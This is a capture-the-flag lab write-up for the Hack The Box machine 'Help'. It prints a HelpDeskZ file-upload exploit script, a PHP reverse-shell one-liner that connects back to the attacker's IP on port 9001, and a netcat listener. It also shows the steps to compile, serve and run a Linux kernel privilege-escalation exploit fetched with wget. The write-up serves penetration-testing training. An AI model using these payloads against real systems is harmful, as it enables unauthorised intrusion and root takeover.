nihilist - Help Writeup

Part 2 : Getting User Access

Our nmap scan seems to have picked up 2 interesting ports here : 80 and 3000. Let's run a dirsearch command on both these ports to enumerate what folders may be available for us to browse.

Terminal 1:

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ dirsearch -u http://10.10.10.121/ -e php -x 403 -r

Terminal 2:

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → dirsearch -u http://10.10.10.121:3000/ -e php -x 403 -r

Target: http://10.10.10.121:3000/

[20:04:07] Starting:
[20:04:21] 400 -   18B  - /graphql
[20:04:21] 400 -   18B  - /graphql/console/

Task Completed

Looking at the results, we see that dirsearch wasn't able to find alot of folders for the 3000th port, however it was able to find much more for the 80th port.

  [20:04:08] Starting:
  [20:04:23] 200 -   11KB - /index.html
  [20:04:23] 301 -  317B  - /javascript  ->  http://10.10.10.121/javascript/
  [20:04:31] 301 -  314B  - /support  ->  http://10.10.10.121/support/
  [20:04:34] Starting: javascript/
  [20:05:00] Starting: support/
  [20:05:00] 200 -  378B  - /support/.gitattributes
  [20:05:10] 301 -  318B  - /support/css  ->  http://10.10.10.121/support/css/
  [20:05:12] 200 -    1KB - /support/favicon.ico
  [20:05:14] 301 -  321B  - /support/images  ->  http://10.10.10.121/support/images/
  [20:05:14] 301 -  323B  - /support/includes  ->  http://10.10.10.121/support/includes/
  [20:05:14] 302 -    0B  - /support/includes/  ->  /
  [20:05:14] 200 -    4KB - /support/index.php/login/
  [20:05:14] 200 -    4KB - /support/index.php
  [20:05:15] 301 -  317B  - /support/js  ->  http://10.10.10.121/support/js/
  [20:05:15] 301 -  325B  - /support/js/tinymce  ->  http://10.10.10.121/support/js/tinymce/
  [20:05:15] 302 -    0B  - /support/js/tinymce/  ->  /
  [20:05:15] 200 -   18KB - /support/LICENSE.txt
  [20:05:20] 200 -    7KB - /support/readme.html
  [20:05:20] 200 -    3KB - /support/README.md
  [20:05:24] 301 -  322B  - /support/uploads  ->  http://10.10.10.121/support/uploads/
  [20:05:24] 302 -    0B  - /support/uploads/  ->  /
  [20:05:25] Starting: css/
  [20:05:50] Starting: images/
  [20:06:15] Starting: includes/
  [20:06:40] Starting: js/
  [20:07:05] Starting: uploads/

  Task Completed

navigating to the 80th port's /support page, we are redirected to a helpdeskz webpage. Let's run a quick searchsploit command in order to get an idea of the exploits we could use for this webservice.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ searchsploit helpdeskz
------------------------------------ ----------------------------------------
 Exploit Title                      |  Path
                                    | (/usr/share/exploitdb/)
------------------------------------ ----------------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Up | exploits/php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) | exploits/php/webapps/41200.py
------------------------------------ ----------------------------------------
Shellcodes: No Result

Looks like we may have a python script for us to use. Let's first locate where it is located in our system, and copy it to our current directory.

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ locate 40300.py
/usr/share/exploitdb/exploits/php/webapps/40300.py

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ cp /usr/share/exploitdb/exploits/php/webapps/40300.py .

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ ls
40300.py

Looking at the github page for helpdeskz, especially the php file that handles the ticket submissions, We see that the code seems to possess a few vulnerabilities.

First of all, we see that the upload directory should end with tickets/

Second, we see that the uploaded file gets appended a timestamp to it, and then gets hashed through the md5 algorithm.

To find out about the time running onto the machine, we can simply use the curl command.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → curl -v http://10.10.10.121/support/
  *   Trying 10.10.10.121:80...
  * TCP_NODELAY set
  * Connected to 10.10.10.121 (10.10.10.121) port 80 (#0)
  > GET /support/ HTTP/1.1
  > Host: 10.10.10.121
  > User-Agent: curl/7.67.0
  > Accept: */*
  >
  * Mark bundle as not supporting multiuse
  < HTTP/1.1 200 OK
  < Date: Fri, 06 Dec 2019 19:35:42 GMT
  < Server: Apache/2.4.18 (Ubuntu)
  < Set-Cookie: PHPSESSID=e9fa26li4655k4nrm8pk3aa0g2; path=/
  < Expires: Thu, 19 Nov 1981 08:52:00 GMT
  < Cache-Control: no-store, no-cache, must-revalidate
  < Pragma: no-cache
  < Set-Cookie: lang=english; expires=Fri, 13-Dec-2019 19:35:42 GMT; Max-Age=604800
  < Vary: Accept-Encoding
  < Content-Length: 4453
  < Content-Type: text/html; charset=UTF-8
  <

Since the people that wrote the script seem to have forgotten the parentheses to literally every single print statement, we'll finish their job using the CLI text editor called "nano"

import hashlib
import time
import sys
import requests

print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

if(len(sys.argv) < 3):
    print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(300, 600):
    plaintext = fileName + str(currentTime - x)
    plaintext = plaintext.encode('utf-8')
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print("found!")
        print(url)
        sys.exit(0)

print("Sorry, I did not find anything")

Do not forget to add the highlighted line of code

let's not forget our reverse php shell one liner that we will save as nihilist.php

  <?php
  echo("nihilist WAS HERE");
  exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.48/9001 0>&1'");

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ nano nihilist.php

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ chmod 777 nihilist.php

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ ls -l
total 8
-rwxr-xr-x 1 nihilist users 690 Dec  6 20:50 40300.py
-rwxrwxrwx 1 nihilist users  99 Dec  6 20:51 nihilist.php

Now before we upload our reverse shell nihilist.php onto through the helpdeskz ticket submission, and then try to browse to it using the correct python script, we ready our first terminal with the nc command to catch the incoming reverse shell connection onto our 9001st port, and we ready the python script inside the second terminal, because we do not want to waste much time, as the timestamp here is important for the exploit to be successful.

Terminal 1:

    λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ nc -lvnp 9001

Terminal 2:

    λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ python 40300.py http://10.10.10.121/support/uploads/tickets/ nihilist.php

as we click submit, we run the python script right after , so that we make sure that our python script can find our timestamped md5 hashed shell.

Terminal 1:

λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
→ nc -lvnp 9001
Connection from 10.10.10.121:58982
bash: cannot set terminal process group (809): Inappropriate ioctl for device
bash: no job control in this shell

help@help:/var/www/html/support/uploads/tickets$ ls
ls
17045dc4fa593d3df5b756a6f58a5e4b.php
2fd3b632dbedfa05adcf9ba1c7cdfef1.php
a963f7fea2767b2edcab7045b8be9deb.php
dbdb2a8bb1ec0bda7b527398d2427d60.php
index.php

help@help:/var/www/html/support/uploads/tickets$ cat /home/help/user.txt
cat /home/help/user.txt
bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it for the user part ! We have been able to login as the "help" user, and we now have it's user flag.

Part 3 : Getting Root Access

Running a quick uname command with the -a flag we see that the box may be vulnerable to a kernel exploit.

  help@help:/var/www/html/support/uploads/tickets$ uname -a
  uname -a
  Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

so let's see which exploit is available for this kernel version, using the searchsploit command.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → searchsploit linux 4.4.0-116
  --------------------------------------------------------------------------- ----------------------------------------
   Exploit Title                                                             |  Path
                                                                             | (/usr/share/exploitdb/)
  --------------------------------------------------------------------------- ----------------------------------------
  Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation     | exploits/linux/local/44298.c
  --------------------------------------------------------------------------- ----------------------------------------
  Shellcodes: No Result

Seems like we will use the C exploit n°44298. Let's locate it and copy it onto our current directory.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → locate 44298.c
  /home/nihilist/_HTB/Bashed/44298.c
  /usr/share/exploitdb/exploits/linux/local/44298.c

Fun Fact : we're going to privesc the exact same way as we did back on the Bashed machine.

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → cp /usr/share/exploitdb/exploits/linux/local/44298.c .

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → ls
  40300.py  44298.c  nihilist.php

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → gcc 44298.c -o nihilist.privesc

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → python -m SimpleHTTPServer 9999
  /usr/bin/python: No module named SimpleHTTPServer

  λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ]
  → python2 -m SimpleHTTPServer 9999
  Serving HTTP on 0.0.0.0 port 9999 ...

Once we compiled the exploit into the nihilist.privesc executable, we use python2's SimpleHTTPServer module on port 9999 to be able to upload the file onto the machine

  help@help:/var/www/html/support/uploads/tickets$ which curl
which curl
help@help:/var/www/html/support/uploads/tickets$ which wget

which wget
/usr/bin/wget

Seems like we won't be able to use curl to download the executable, but that's no problem, since wget is there to save us.

  help@help:/var/www/html/support/uploads/tickets$ wget http://10.10.14.48:9999/nihilist.privesc
<port/uploads/tickets$ wget http://10.10.14.48:9999/nihilist.privesc
--2019-12-06 12:28:38--  http://10.10.14.48:9999/nihilist.privesc
Connecting to 10.10.14.48:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17872 (17K) [application/octet-stream]
Saving to: 'nihilist.privesc'

     0K .......... .......                                    100%  482K=0.04s

2019-12-06 12:28:38 (482 KB/s) - 'nihilist.privesc' saved [17872/17872]

help@help:/var/www/html/support/uploads/tickets$ ls
ls
17045dc4fa593d3df5b756a6f58a5e4b.php
2fd3b632dbedfa05adcf9ba1c7cdfef1.php
a963f7fea2767b2edcab7045b8be9deb.php
dbdb2a8bb1ec0bda7b527398d2427d60.php
nihilist.privesc
index.php

help@help:/var/www/html/support/uploads/tickets$ ./nihilist.privesc
./nihilist.privesc
bash: ./nihilist.privesc: Permission denied

Let's not forget to change the executable's permissions to actually make it executable :

help@help:/var/www/html/support/uploads/tickets$ chmod +x nihilist.privesc
chmod +x nihilist.privesc

help@help:/var/www/html/support/uploads/tickets$ ./nihilist.privesc
./nihilist.privesc

id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)

cat /root/root.txt
b7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! We have been able to print the root flag.

Help Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

My Links

About nihilist